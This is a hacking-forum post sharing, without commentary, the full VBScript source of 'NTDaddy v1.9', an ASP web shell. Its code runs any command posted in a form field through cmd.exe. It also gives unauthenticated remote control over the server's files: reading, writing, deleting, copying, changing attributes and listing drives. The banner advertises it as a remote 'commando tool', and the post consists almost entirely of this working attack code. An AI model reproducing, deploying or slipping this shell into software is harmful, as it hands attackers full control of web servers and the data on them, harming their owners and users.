comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[ASP] NTDaddy v1.9 Shell

  • 0 Respuestas
  • 2142 Vistas

0 Usuarios y 3 Visitantes están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5409
  • Actividad:
    16.67%
  • Reputación 33
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Febrero 14, 2013, 02:15:34 pm »
NTDaddy v1.9 Shell en ASP

Código: ASP
  1. <!--
  2. _______________________________________
  3. |a by obzerve of fux0r inc.|
  4. |=====================================|
  5. |Vol.1:_Art.19:_Silent_Tactics_Archive|
  6. |******! PUBLIC ! DISTRIBUTION !******|
  7. |-------------------------------------|
  8. |    Welcome to the world of ez remote|
  9. |administration made possible by your |
  10. |friends at fux0r inc. NTDaddy is the |
  11. |most kickass WinNT CGI ninja commando|
  12. |tool you've seen yet. Refer to the   |
  13. |included read me of the original pub |
  14. |distribution for details. Don't just |
  15. |give it out, make people look for it.|
  16. |And dont be a fuckin cock choking    |
  17. |gutter slut and try to pass it off as|
  18. |your own. Because if you do, you suck|
  19. |ass. Also to avoid hipocrisy, yes a  |
  20. |small snippet was borrowed for a few |
  21. |parts here and there but for the     |
  22. |majority is original code by me,     |
  23. |obzerve of fux0r inc. Anyway if you  |
  24. |find something that looks 'built-on',|
  25. |i just made it better, you know how  |
  26. |it is...              oh well, enjoy!|
  27. |-------------------------------------|
  28. |     -obzerve : mr_o@ihateclowns.com |
  29. =======================================
  30. -->
  31. <%@ Language=VBScript %>
  32. <%Dim oScript
  33. Dim oScriptNet
  34. Dim oFileSys, oFile
  35. Dim szCMD, szTempFile
  36. On Error Resume Next
  37. Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  38. Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  39. Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  40. szCMD = Request.Form(".CMD")
  41. If (szCMD <> "") Then
  42. szTempFile = "C:\" & oFileSys.GetTempName( )
  43. Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  44. Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  45. End If%>
  46. <% if request.form("flag")=""then %>
  47. <html>
  48. <head>
  49. <title>|[NTDaddy v1.9 - obzerve | fux0r inc.]</title>
  50. <%
  51. 'Commands
  52. dim fs,f
  53. dim FilePath,FolderPath,FileTo,Cmd
  54. dim selFolder,FolderTo
  55. dim Tempmsg
  56. dim TempAtt
  57. dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat
  58. Const ForReading = 1, ForWriting = 2, ForAppending = 3
  59. Set fs = CreateObject("Scripting.FileSystemObject")
  60. FilePath=Request.Form("FileName")
  61. FolderPath=Request.Form("FolderPath")
  62. selFolder=Request.Form("FolderName")
  63. FolderTo=Request.form("CopyFolderTo")
  64. FileTo=Request.Form("CopyFileTo")
  65. Cmd=Request.Form("cmdOption")
  66. TextCmd=Request.form("cmdtxtFileOption")
  67. Select case Cmd
  68. case "DeleteFile"      
  69. fs.deletefile FilePath,TRUE
  70. response.write("File: " & FilePath & " has been deleted.")
  71. case "DeleteFolder"    
  72. fs.deletefolder selFolder,TRUE
  73. response.write("Folder: " & selFolder & " has been deleted.")
  74. FolderPath=Request.form("RefreshFolderPath")
  75. case "CopyFile"
  76. fs.CopyFile FilePath,FileTo, TRUE
  77. response.write("File: " & FilePath & " has been copied to " & FileTo & ".")
  78. case "CopyFolder"
  79. fs.CopyFolder selFolder,FolderTo, TRUE
  80. response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".")
  81. case "SetFileAttributes"
  82. on error resume next
  83. if FilePath <> "" then
  84. Set f = fs.GetFile(FilePath)
  85. select case f.attributes
  86. case 0
  87. FileAttributes = "Normal"
  88. case 1
  89. FileAttributes = "Read Only"
  90. case 2
  91. FileAttributes = "Hidden"
  92. case 3  'Extra
  93. FileAttributes = "Read Only, Hidden"
  94. case 4
  95. FileAttributes = "System"
  96. case 7  'Extra
  97. FileAttributes = "Read Only, Hidden, System"
  98. case 8
  99. FileAttributes = "Volume"
  100. case 16
  101. FileAttributes = "Directory"
  102. case 19
  103. FileAttributes = "Read Only, Hidden, Directoy"
  104. case 23
  105. FileAttributes = "Read Only, Hidden, System, Directory"
  106. case 32
  107. FileAttributes = "Archive"
  108. case 33 'Extra
  109. FileAttributes = "Read Only, Archive"
  110. case 34 'Extra
  111. FileAttributes = "Hidden, Archive"
  112. case 38 'Extra
  113. FileAttributes = "Hidden, Archive, System"
  114. case 39 'Extra
  115. FileAttributes = "Read Only, Hidden, Archive, System"
  116. case 48
  117. FileAttributes = "Directory, Archive"
  118. case 64
  119. FileAttributes = "Alias"
  120. case 128
  121. FileAttributes = "Compressed"
  122. case else
  123. FileAttributes = f.attributes
  124. end select
  125. end if  
  126. response.write("<form name=frmFileAttributes action=ntdaddy.asp method=post>")
  127. response.write("<input type=hidden name=FileName Value=" & chr(34) & FilePath & chr(34) & ">")
  128. response.write("<input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & ">")
  129. response.write("<center><Table border=5 cellpadding=3 bordercolor=#ffffff>")
  130. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>File Name: " & f.name & "</td>")
  131. response.write("<td rowspan=5><center><u><b>Set New Attributes:</b></u></center>")
  132. response.write("<input type=checkbox name=FileAttribute1 value=0 checked>Normal")
  133. response.write("<br><input type=checkbox name=FileAttribute2 value=1>Read Only")
  134. response.write("<br><input type=checkbox name=FileAttribute3 value=2>Hidden")
  135. response.write("<br><input type=checkbox name=FileAttribute4 value=4>System")
  136. response.write("<br><input type=checkbox name=FileAttribute5 value=8>Volume")
  137. response.write("<br><input type=checkbox name=FileAttribute6 value=16>Directory")
  138. response.write("<br><input type=checkbox name=FileAttribute7 value=32>Archive")
  139. response.write("<br><input type=checkbox name=FileAttribute8 value=64>Alias")
  140. response.write("<br><input type=checkbox name=FileAttribute9 value=128>Compressed")
  141. response.write("<br><center><input type=submit name=cmdOption value=ApplyFileAttributes></center>")
  142. response.write("</td></tr>")
  143. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Type of File: " & f.type & "</td></tr>")
  144. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Location: " & f.path)
  145. response.write("<br>Size: " & FormatNumber(f.size/1024, 2)  & "KB  (" & f.size & " bytes)</td></tr>")
  146. if f.DateCreated = "" then
  147. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: ----")
  148. else
  149. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: " & f.DateCreated)
  150. end if
  151. if f.DateLastAccessed = "" then
  152. response.write("<br>Modified: ----")
  153. else
  154. response.write("<br>Modified: " & f.DateLastAccessed)
  155. end if
  156. if f.DateLastModified = "" then
  157. response.write("<br>Accessed: ----</td></tr>")
  158. else
  159. response.write("<br>Accessed: " & f.DateLastModified & "</td></tr>")
  160. end if
  161. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Attributes: " & FileAttributes & "</td></tr>")
  162. response.write("</table></center></form>")
  163. case "SetFolderAttributes"
  164. on error resume next
  165. FolderPath=Request.form("RefreshFolderPath")
  166. if selFolder <> "" then
  167. Set f = fs.Getfolder(selFolder)
  168. select case f.attributes
  169. case 0
  170. FolderAttributes = "Normal"
  171. case 1
  172. FolderAttributes = "Read Only"
  173. case 2
  174. FolderAttributes = "Hidden"
  175. case 3  'Extra
  176. FolderAttributes = "Read Only, Hidden"
  177. case 4
  178. FolderAttributes = "System"
  179. case 7  'Extra
  180. FolderAttributes = "Read Only, Hidden, System"
  181. case 8
  182. FolderAttributes = "Volume"
  183. case 16
  184. FolderAttributes = "Directory"
  185. case 17 'Extra
  186. FolderAttributes = "Read Only, Directory"
  187. case 18 'Extra
  188. FolderAttributes = "Hidden, Directory"
  189. case 19
  190. FolderAttributes = "Read Only, Hidden, Directoy"
  191. case 20 'Extra
  192. FolderAttributes = "System, Directory"
  193. case 22 'Extra
  194. FolderAttributes = "Hidden, System. Directory"
  195. case 23
  196. FolderAttributes = "Read Only, Hidden, System, Directory"
  197. case 32
  198. FolderAttributes = "Archive"
  199. case 33 'Extra
  200. FolderAttributes = "Read Only, Archive"
  201. case 34 'Extra
  202. FolderAttributes = "Hidden, Archive"
  203. case 38 'Extra
  204. FolderAttributes = "Hidden, Archive, System"
  205. case 39 'Extra
  206. FolderAttributes = "Read Only, Hidden, Archive, System"
  207. case 48
  208. FolderAttributes = "Directory, Archive"
  209. case 64
  210. FolderAttributes = "Alias"
  211. case 128
  212. FolderAttributes = "Compressed"
  213. case else
  214. FolderAttributes = f1.attributes
  215. end select
  216. end if  
  217. response.write("<form name=frmFolderAttributes action=ntdaddy.asp method=post>")
  218. response.write("<input type=hidden name=FolderName Value=" & chr(34) & selFolder & chr(34) & ">")
  219. response.write("<input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & ">")
  220. response.write("<center><Table border=5 cellpadding=3 cellspacing=1 bordercolor=#ffffff>")
  221. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Folder Name: " & f.name & "</td>")
  222. response.write("<td rowspan=5><center><u><b>Set New Attributes:</b></u></center>")
  223. response.write("<input type=checkbox name=FolderAttribute1 value=0 checked>Normal")
  224. response.write("<br><input type=checkbox name=FolderAttribute2 value=1>Read Only")
  225. response.write("<br><input type=checkbox name=FolderAttribute3 value=2>Hidden")
  226. response.write("<br><input type=checkbox name=FolderAttribute4 value=4>System")
  227. response.write("<br><input type=checkbox name=FolderAttribute5 value=8>Volume")
  228. response.write("<br><input type=checkbox name=FolderAttribute6 value=16>Directory")
  229. response.write("<br><input type=checkbox name=FolderAttribute7 value=32>Archive")
  230. response.write("<br><input type=checkbox name=FolderAttribute8 value=64>Alias")
  231. response.write("<br><input type=checkbox name=FolderAttribute9 value=128>Compressed")
  232. response.write("<br><center><input type=submit name=cmdOption value=ApplyFolderAttributes></center>")
  233. response.write("</td></tr>")
  234. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Type of Folder: " & f.type & "</td></tr>")
  235. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Location: " & f.path)
  236. response.write("<br>Size: " & FormatNumber(f.size/1024, 2)  & "KB  (" & f.size & " bytes)</td></tr>")
  237. if f.DateCreated = "" then
  238. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: ----")
  239. else
  240. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: " & f.DateCreated)
  241. end if
  242. if f.DateLastAccessed = "" then
  243. response.write("<br>Modified: ----")
  244. else
  245. response.write("<br>Modified: " & f.DateLastAccessed)
  246. end if
  247. if f.DateLastModified = "" then
  248. response.write("<br>Accessed: ----</td></tr>")
  249. else
  250. response.write("<br>Accessed: " & f.DateLastModified & "</td></tr>")
  251. end if
  252. response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Attributes: " & FolderAttributes & "</td></tr>")
  253. response.write("</table></center></form>")
  254. case "OpenTextFile"
  255. If FilePath <> "" then
  256. lblioMode=Request.form("optiomode")
  257. lblFormat=request.form("optformat")
  258. set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat)
  259. TextOutput = TextFile.ReadAll  
  260. 'TextOutput=""
  261. 'Do While TextFile.AtEndOfStream <> True
  262. '       TextOutput = TextOutput & TextFile.ReadLine
  263. 'Loop
  264. TextFile.close
  265. else
  266. FilePath = FolderPath
  267. end if
  268. response.write("<form name=frmTextFile action=ntdaddy.asp method=post>")
  269. response.write("<center><table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff width=100% height=100% >")
  270. response.write("<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOption value=SaveAs><input type=text size=77 name=FileName value=" & chr(34) & FilePath & chr(34) & "><select name=optUnicode><option value=FALSE>ASCII <option value=TRUE>Unicode</select></td></tr>")
  271. response.write("<tr><td bgcolor=#ffffff><center><textarea name=txtFile rows=20 cols=85>" & TextOutput & "</textarea></center></td></tr>")
  272. response.write(chr(13))
  273. response.write(chr(13))
  274. response.write(chr(13))
  275. response.write(chr(13))
  276. response.write("<ERROR: THIS IS NOT A TEXT FILE>")
  277. response.write(chr(13))
  278. response.write("<FilePath: " & FilePath & ">")
  279. response.write(chr(13))
  280. response.write("<ioMode: " & lblioMode & ">")
  281. response.write(chr(13))
  282. response.write("<Format: " & lblFormat & ">")
  283. response.write(chr(13))
  284. response.write(chr(13))
  285. response.write(chr(13))
  286. response.write(chr(13))
  287. response.write("<tr><td><input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & "></td></tr>")
  288. response.write("</table></center><p>")
  289. case "ApplyFileAttributes"
  290. TempAtt=int(Request.form("FileAttribute1"))
  291. TempAtt=TempAtt + int(Request.form("FileAttribute2"))
  292. TempAtt=TempAtt + int(Request.form("FileAttribute3"))
  293. TempAtt=TempAtt + int(Request.form("FileAttribute4"))
  294. TempAtt=TempAtt + int(Request.form("FileAttribute5"))
  295. TempAtt=TempAtt + int(Request.form("FileAttribute6"))
  296. TempAtt=TempAtt + int(Request.form("FileAttribute7"))
  297. TempAtt=TempAtt + int(Request.form("FileAttribute8"))
  298. TempAtt=TempAtt + int(Request.form("FileAttribute9"))
  299. Set f = fs.GetFile(FilePath)
  300. f.attributes=int(TempAtt)
  301. response.write("File: " & FilePath & " attributes have been changed.")
  302. case "ApplyFolderAttributes"
  303. FolderPath=Request.form("RefreshFolderPath")
  304. TempAtt=int(Request.form("FolderAttribute1"))
  305. TempAtt=TempAtt + int(Request.form("FolderAttribute2"))
  306. TempAtt=TempAtt + int(Request.form("FolderAttribute3"))
  307. TempAtt=TempAtt + int(Request.form("FolderAttribute4"))
  308. TempAtt=TempAtt + int(Request.form("FolderAttribute5"))
  309. TempAtt=TempAtt + int(Request.form("FolderAttribute6"))
  310. TempAtt=TempAtt + int(Request.form("FolderAttribute7"))
  311. TempAtt=TempAtt + int(Request.form("FolderAttribute8"))
  312. TempAtt=TempAtt + int(Request.form("FolderAttribute9"))
  313. Set f = fs.Getfolder(selFolder)
  314. f.attributes=int(TempAtt)
  315. response.write("Folder: " & selFolder & " attributes have been changed.")
  316. end select
  317. Select Case TextCmd
  318. case "SaveAs"
  319. TextWrite = Request.form("txtFile")
  320. TextCreateFormat = Request.form("optUnicode")
  321. if textcreateformat = "TRUE" then
  322. tempmsg="Unicode"
  323. else
  324. tempmsg="ASCII"
  325. end if
  326. Set TextFile = fs.CreateTextFile(FilePath, True,TextCreateFormat)
  327. TextFile.Write TextWrite
  328. TextFile.Close
  329. response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.")
  330. end select
  331. %>
  332. <%
  333. Public CurrentPath
  334. Function ShowDriveLetters()
  335. on error resume next
  336. Dim fs, d, dc, t
  337. dim isReadyColor,TempSize,ShowDriveInfo
  338. Set fs = CreateObject("Scripting.FileSystemObject")
  339. Set dc = fs.Drives
  340. ShowDriveInfo=Request.Form("chkShowDriveInfo")
  341. response.write("<form name=lstDrives action=ntdaddy.asp method=post>")
  342. response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
  343. if showdriveinfo="TRUE" then
  344. response.write("<tr colspan=8><td align=center colspan=8 bgcolor=#F8F8FF><font color=#000000><input type=checkbox name=chkShowDriveInfo value=TRUE> Show Drive Info  </td></tr>")
  345. response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>File System</u><b></td>")
  346. response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Serial #</u><b></td>")
  347. else
  348. response.write("<tr colspan=2><td align=center colspan=2 bgcolor=#f8f8ff><font color=#000000><input type=checkbox name=chkShowDriveInfo value=TRUE>Show Drive Info</td></tr>")
  349. end if
  350. response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Type</u><b></td>")
  351. response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Drive</u><b></td>")
  352. if showdriveinfo="TRUE" then
  353. response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Volume Name</u><b></td>")
  354. response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Share Name</u><b></td>")
  355. response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Free Space</u><b></td>")
  356. response.write("<td align=center bgcolor=#f8f8ff><font color=#000000><b><u>Total Size</u><b></td>")
  357. end if
  358. response.write("</tr>")
  359. For Each d in dc
  360. Select Case d.DriveType
  361. Case 0: t = "Unknown"
  362. Case 1: t = "Removable"
  363. Case 2: t = "Fixed"
  364. Case 3: t = "Network"
  365. Case 4: t = "CD-ROM"
  366. Case 5: t = "RAM Disk"
  367. End Select
  368. if showdriveinfo="TRUE" then
  369. if d.isReady then
  370. response.write("<TR bgcolor=#000000>")
  371. else
  372. response.write("<TR bgcolor=#191970>")
  373. end if
  374. if d.filesystem = "" then
  375. response.write("<td align=center>....</td>")
  376. else
  377. response.write("<td align=center>" & d.filesystem & "</td>")
  378. end if
  379. if d.SerialNumber = "" then
  380. response.write("<td align=center>....</td>")
  381. else
  382. response.write("<td align=center>" & d.SerialNumber & "</td>")
  383. end if
  384. else
  385. response.write("<TR>")
  386. end if
  387. response.write("<td align=center>" & t & "</td>")
  388. response.write("<td align=center><input type=submit name=FolderPath value=" & d.driveletter & ":\></td>")
  389. if showdriveinfo="TRUE" then
  390. if d.volumename="" then
  391. response.write("<td align=center>....</td>")
  392. else
  393. response.write("<td align=center>" & d.volumename & "</td>")
  394. end if
  395. if d.sharename="" then
  396. response.write("<td align=center>....</td>")
  397. else
  398. response.write("<td align=center>" & d.sharename & "</td>")
  399. end if
  400. str=""
  401. str=str & d.driveletter
  402. str=str & ":"
  403. 'response.write(str)
  404. if d.isready then
  405. freespace = (d.AvailableSpace / 1048576)
  406. set sp=fs.getdrive(str)
  407. response.write("<td align=center>" & Round(freespace,1) & " MB</td>")
  408. else
  409. response.write("<td align=center>....</td>")
  410. end if
  411. str=""
  412. str=str & d.driveletter
  413. str=str & ":"
  414. 'response.write(str)
  415. if d.isready then
  416. totalspace = (d.TotalSize / 1048576)
  417. set sp=fs.getdrive(str)
  418. response.write("<td align=center>" & Round(totalspace,1) & " MB</td>")
  419. else
  420. response.write("<td align=center>....</td>")
  421. end if
  422. end if
  423. Next
  424. response.write("</tr>")
  425. response.write("</tr></table>")
  426. response.write("</form>")
  427. End Function
  428. Function ShowFolderNames()
  429. on error resume next
  430. Dim fs, f, f1, s, sf ,FP
  431. dim ShowFolderInfo,FolderAttributes
  432. ShowFolderInfo=request.form("chkShowFolderInfo")
  433. FP=Request.Form("FolderPath")
  434. if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
  435. FP=request.form("RefreshFolderPath")
  436. IP=chr(34) & IP & chr(34)
  437. end if
  438. CurrentPath=FP
  439. Set fs = CreateObject("Scripting.FileSystemObject")
  440. Set f = fs.GetFolder(FP)
  441. Set sf = f.SubFolders
  442. response.write("<form name=lstFolders action=ntdaddy.asp method=post>")
  443. response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
  444. response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=Submit name=FolderPath value=RefreshFolder></td></tr>")
  445. response.write("<input type=hidden name=RefreshFolderPath value=" & chr(34) &  fp & chr(34) & ">")
  446. response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=checkbox name=chkShowFolderInfo value=TRUE> Show Folder Info</td></tr>")
  447. response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=DeleteFolder><br><input type=submit name=cmdOption Value=CopyFolder> to <input type=text name=CopyFolderTo></td></tr>")
  448. response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=SetFolderAttributes>")
  449. if showfolderinfo="TRUE" then
  450. response.write("<TR>")
  451. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Folder</u></b></td>")
  452. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Size</u></b></td>")
  453. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Type</u></b></td>")
  454. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Attributes</u></b></td>")
  455. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Created</u></b></td>")
  456. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Last Accessed</u></b></td>")
  457. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Last Modified</u></b></td>")
  458. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Short Name</u></b></td>")
  459. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Short Path</u></b></td>")
  460. response.write("</tr>")
  461. end if
  462. For Each f1 in sf
  463. if showfolderinfo="TRUE" then
  464. response.write("<tr>")
  465. response.write("<td><input type=radio name=FolderName value=" & chr(34) & FP & f1.name & chr(34) & "><Input type=submit name=FolderPath value=" & chr(34) & FP & F1.name & "\" & chr(34) & "></td>")
  466. response.write("<td align=center nowrap>" & FormatNumber(f1.size/1024, 0)  & " kb</td>")
  467. response.write("<td align=center nowrap>" & f1.type & "</td>")
  468. folderattributes="...."
  469. select case f1.attributes
  470. case 0
  471. FolderAttributes = "Normal"
  472. case 1
  473. FolderAttributes = "Read Only"
  474. case 2
  475. FolderAttributes = "Hidden"
  476. case 3  'Extra
  477. FolderAttributes = "Read Only, Hidden"
  478. case 4
  479. FolderAttributes = "System"
  480. case 7  'Extra
  481. FolderAttributes = "Read Only, Hidden, System"
  482. case 8
  483. FolderAttributes = "Volume"
  484. case 16
  485. FolderAttributes = "Directory"
  486. case 17 'Extra
  487. FolderAttributes = "Read Only, Directory"
  488. case 18 'Extra
  489. FolderAttributes = "Hidden, Directory"
  490. case 19
  491. FolderAttributes = "Read Only, Hidden, Directoy"
  492. case 20 'Extra
  493. FolderAttributes = "System, Directory"
  494. case 22 'Extra
  495. FolderAttributes = "Hidden, System. Directory"
  496. case 23
  497. FolderAttributes = "Read Only, Hidden, System, Directory"
  498. case 32
  499. FolderAttributes = "Archive"
  500. case 33 'Extra
  501. FolderAttributes = "Read Only, Archive"
  502. case 34 'Extra
  503. FolderAttributes = "Hidden, Archive"
  504. case 38 'Extra
  505. FolderAttributes = "Hidden, Archive, System"
  506. case 39 'Extra
  507. FolderAttributes = "Read Only, Hidden, Archive, System"
  508. case 48
  509. FolderAttributes = "Directory, Archive"
  510. case 64
  511. FolderAttributes = "Alias"
  512. case 128
  513. FolderAttributes = "Compressed"
  514. case else
  515. FolderAttributes = f1.attributes
  516. end select
  517. response.write("<td align=center nowrap>" & FolderAttributes & "</td>")
  518. if f1.datecreated = "" then
  519. response.write("<td align=center nowrap>....</td>")
  520. else
  521. response.write("<td align=center nowrap>" & f1.datecreated & "</td>")
  522. end if
  523. if f1.datelastaccessed = "" then
  524. response.write("<td align=center nowrap>....</td>")
  525. else
  526. response.write("<td align=center nowrap>" & f1.datelastaccessed & "</td>")
  527. end if
  528. if f1.datelastmodified = "" then
  529. response.write("<td align=center nowrap>....</td>")
  530. else
  531. response.write("<td align=center nowrap>" & f1.datelastmodified & "</td>")
  532. end if
  533. response.write("<td align=center nowrap>" & f1.shortname & "</td>")
  534. response.write("<td align=center nowrap>" & f1.shortpath & "\</td></tr>")
  535. else
  536. response.write("<tr><td><input type=radio name=FolderName value=" & chr(34) & FP & f1.name & chr(34) & "><Input type=submit name=FolderPath value=" & chr(34) & FP & F1.name & "\" & chr(34) & "></td></tr>")
  537. end if
  538. Next
  539. response.write("</table>")
  540. response.write("</form>")
  541. End Function
  542. Function ShowFileNames()
  543. on error resume next
  544. Dim fs, f, f1, fc, FP
  545. dim ShowFileInfo,FileAttributes,ShowPrefix
  546. ShowPrefix=request.form("txtShowPrefix")
  547. ShowFileInfo=Request.form("chkShowFileInfo")
  548. FP=Request.Form("FolderPath")
  549. if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
  550. FP=request.form("RefreshFolderPath")
  551. IP=chr(34) & IP & chr(34)
  552. end if
  553. CurrentPath=FP
  554. Set fs = CreateObject("Scripting.FileSystemObject")
  555. Set f = fs.GetFolder(FP)
  556. Set fc = f.Files
  557. response.write("<form name=lstFiles action=ntdaddy.asp method=post>")
  558. response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
  559. response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=submit value=RefreshFiles> <input type=checkbox name=chkShowFileInfo value=TRUE> Show File Info &<br>Show Only:  <input type=text name=txtShowPrefix value= ></td></tr>")
  560. response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=DeleteFile><input type=submit name=cmdOption Value=CopyFile> to <input type=text name=CopyFileTo></td></tr>")
  561. response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=OpenTextFile><select name=optioMode><option value=" & chr(34) & "1" & chr(34) & ">For Reading <option value="& chr(34) & "2" & chr(34) & ">For Writing <option value=" & chr(34) & "8" & chr(34) & ">For Appending</select><select name=optformat><option value=" & chr(34) & "-2" & chr(34) & ">System Default <option value=" & chr(34) & "-1" & chr(34) & ">Unicode <option value=" & chr(34) & "0" & chr(34) & ">ASCII</select></td>")
  562. response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=SetFileAttributes>")
  563. response.write("<input type=hidden name=FolderPath Value=" & chr(34) & fp & chr(34) & "></tr>")
  564. if showfileinfo="TRUE" then
  565. response.write("<TR>")
  566. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>File</u></b></td>")
  567. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Size</u></b></td>")
  568. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Type</u></b></td>")
  569. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Attributes</u></b></td>")
  570. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Created</u></b></td>")
  571. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Last Accessed</u></b></td>")
  572. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Last Modified</u></b></td>")
  573. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Short Name</u></b></td>")
  574. response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000><b><u>Short Path</u></b></td>")
  575. response.write("</tr>")
  576. end if
  577. For Each f1 in fc
  578. if showfileinfo="TRUE" then
  579. if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then
  580. response.write("<tr>")
  581. response.write("<td align=center nowrap><input type=radio name=FileName value=" & chr(34) & FP & f1.name & chr(34) & ">" & f1.name & "</td>")
  582. response.write("<td align=center nowrap>" & FormatNumber(f1.size/1024, 0)  & " kb</td>")
  583. response.write("<td align=center nowrap>" & f1.type & "</td>")
  584. select case f1.attributes
  585. case 0
  586. FileAttributes = "Normal"
  587. case 1
  588. FileAttributes = "Read Only"
  589. case 2
  590. FileAttributes = "Hidden"
  591. case 3  'Extra
  592. FileAttributes = "Read Only, Hidden"
  593. case 4
  594. FileAttributes = "System"
  595. case 7  'Extra
  596. FileAttributes = "Read Only, Hidden, System"
  597. case 8
  598. FileAttributes = "Volume"
  599. case 16
  600. FileAttributes = "Directory"
  601. case 19
  602. FileAttributes = "Read Only, Hidden, Directoy"
  603. case 23
  604. FileAttributes = "Read Only, Hidden, System, Directory"
  605. case 32
  606. FileAttributes = "Archive"
  607. case 33 'Extra
  608. FileAttributes = "Read Only, Archive"
  609. case 34 'Extra
  610. FileAttributes = "Hidden, Archive"
  611. case 38 'Extra
  612. FileAttributes = "Hidden, Archive, System"
  613. case 39 'Extra
  614. FileAttributes = "Read Only, Hidden, Archive, System"
  615. case 48
  616. FileAttributes = "Directory, Archive"
  617. case 64
  618. FileAttributes = "Alias"
  619. case 128
  620. FileAttributes = "Compressed"
  621. case else
  622. FileAttributes = f1.attributes
  623. end select
  624. response.write("<td align=center nowrap>" & FileAttributes & "</td>")
  625. if f1.datecreated = "" then
  626. response.write("<td align=center nowrap>....</td>")
  627. else
  628. response.write("<td align=center nowrap>" & f1.datecreated & "</td>")
  629. end if
  630. if f1.datelastaccessed = "" then
  631. response.write("<td align=center nowrap>....</td>")
  632. else
  633. response.write("<td align=center nowrap>" & f1.datelastaccessed & "</td>")
  634. end if
  635. if f1.datelastmodified = "" then
  636. response.write("<td align=center nowrap>....</td>")
  637. else
  638. response.write("<td align=center nowrap>" & f1.datelastmodified & "</td>")
  639. end if
  640. response.write("<td align=center nowrap>" & f1.shortname & "</td>")
  641. response.write("<td align=center nowrap>" & f1.shortpath & "</td></tr>")
  642. end if
  643. else
  644. if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then
  645. response.write("<tr><td><input type=radio name=FileName value=" & chr(34) & FP & f1.name & chr(34) & ">" & f1.name & "</td></tr>")
  646. end if
  647. end if
  648. Next
  649. response.write("</table>")
  650. response.write("</form>")
  651. End Function
  652. %>
